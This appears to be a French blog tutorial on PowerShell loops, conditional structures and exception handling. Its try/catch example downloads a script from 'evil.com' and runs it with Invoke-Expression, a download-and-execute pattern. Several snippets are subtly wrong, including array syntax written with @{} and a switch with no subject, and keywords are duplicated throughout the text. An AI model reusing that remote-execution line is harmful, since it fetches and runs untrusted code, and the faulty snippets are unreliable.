PowerShell – Boucles, structures conditionnelles, gestion des exceptions3 minute(s) de lecture

L’intérêt premier d’un ordinateur, c’est de pouvoir répéter et traiter des données de nombreuses fois dans un petit laps de temps, en PowerShell, des boucles et différentes structures permettent d’effectuer de genre d’opération.

Boucles

Il existe exactement 5 boucles différentes en PowerShell, 4 d’entre elles sont issue de .NET et une est une cmdlet, j’ai nommé:

foreach,

while

while,

do while

do while,

for

for, et

ForEach-Object

ForEach-Object.

foreach

foreach permet d’itérer parmi les objets d’une Collections. La syntaxe est simple, le mot foreach est suivis d’entre parenthèse

$objet in $collection

$objet in $collection puis entre accolade l’action à mener. Exemple:

[int[]] $array = @{1, 3, 6}

foreach ($n in $array) {

	$n * 2
}

while permet d’effectuer une action en boucle tant qu’une certaine condition est vérifiée. La syntaxe est similaire à

foreach

foreach, simplement entre les parenthèses il faut inscrire une condition. Exemple:

$condition = 5

while ($condition -ne 0) {

	Write-Host "boucle while"
	$condition -= 1
}

do while est exactement similaire à

while

while à la différence que la condition est effectuée à la fin, ce qui laisse au moins 1 exécution. Exemple:

$condition = 5

do {

	Write-Host "boucle do while"
} while ($condition -ne 5)

Il existe une autre forme de ce style

do until qui reprend exactement la même syntaxe mais qui se répètera tant que la condition sera fausse.

La boucle

for instancie une nouvelle variable, effectue un test conditionnel, puis incrémente la variable. La boucle est introduite par le mot

for

for puis entre parenthèse la définition de la variable, puis la condition, enfin il faut incrémenter la variable, le tout est séparé par des points virgules. Ensuite entre accolades, il y aura les instructions à exécuter. La variable créée n’est pas supprimée après la fonction. Exemple:

for ($i = 0; $i -lt 5; $i ++) {

	$i
}

la boucle liée à la cmdlet

ForEach-Object est une boucle

foreach

foreach qui a besoin d’objet passé dans une pipeline. Son alias est %. Une variable

$_

$_ est créé pour chaque objet itérer. La cmdlet permet l’utilisation de scriptblock pour définir l’action à mener ainsi, il existe les arguments -BEGIN, -PROCESS, -END.
Exemple:

Get-Service | % -Process {$_.Status} # renvoie le statut de tous les services disponible sur la machine.

Pour sortir d’une boucle prématurément, comme dans beaucoup d’autres langages, il faut utiliser le mot réservé break.

Structures conditionnelles

Les structures conditionnelles sont indispensables dans un langage de programmation. La syntaxe de ces dernières est relativement simple en PowerShell: le mot réservé (

if,

elseif

elseif,

else

else,

switch

switch) suivi d’entre parenthèses la condition si besoin, puis des accolades pour séparer les instructions à effectuer. Exemple:

$condition = 5

if ($condition -eq 3) {

      Write-Host "hello"
} elseif ($condition -lt 3) {

      Write-Host "hello world"
} else {

      Write-Host "it's long example"
} 

Il existe aussi en PowerShell une structure

switch. Sa syntaxe est relativement simple: le mot réservé switch puis entre crochet les instructions. Ces dernières sont séparées en deux parties, la valeur de condition en 1 puis suivie d’un scriptblock, si une opération doit être fait si les conditions ne sont pas validées, il faudra utiliser

default

default suivi d’un scriptblock pour l’instruction:

$condition = 5

switch {
	
	1 {Write-Host "hello"; break}
	2 {Write-Host "2"; break}
	5 {Write-Host "5"; break}
	default {Write-Host "default"}
}

Gestion des exceptions

Comme dans beaucoup de langage des exceptions font irruption lorsque la syntaxe n’est pas bien respectée, ou lorsque des erreurs surgissent (conversions par exemple). PowerShell n’est pas en reste car lui aussi permet de les gérer. Pour cela il existe une structure:

try/

catch

catch/

finally

finally. Dans un premier temps on ouvre le bloc d’instruction avec

try

try suivi de deux accolades entre lesquelles il y a le code à exécuter. Il faut impérativement fermer

try

try avec

catch

catch ou

finally

finally; le premier exécute une instruction précise en cas d’une erreur (spécifié ou non), le deuxième définit une action qui, lancée obligatoirement avant que le programme ne se ferme. La syntaxe de

finally

finally est en tout point similaire à

try

try,

catch

catch est un petit peu différent:

catch [Exception 1],[Exception 2] {}

catch [Exception 1],[Exception 2] {}, les exceptions ne sont pas obligatoirement à spécifier, sauf s’il est désiré d’en gérer une ou plusieurs en particulier. Il est possible d’utiliser plusieurs catch. Exemple:

Write-Host "start"

$object = New-Object System.Net.WebClient
$url = "http://evil.com/script.ps1"

try {

	Invoke-Expression $object.DownloadString($url)
} catch {

	Write-Host "failed"
} finally {

	Write-Host "done"
}

Il est aussi possible de générer ses propres exceptions ou d’interrompre du code, pour cela il existe deux manières. D’une part en utilisant la cmdlet

Write-Error, un message peut être ajouté après l’appel de la cmdlet avec l’argument -Message, une exception particulière peut-être levée avec -Exception. D’autre part en utilisant le mot réservé

throw

throw suivi d’un message si voulu. Il aura pour effet de stopper le programme.

Le prochain article traitera des fonctions, des fonctions avancées et de l’aide intégrée de PowerShell.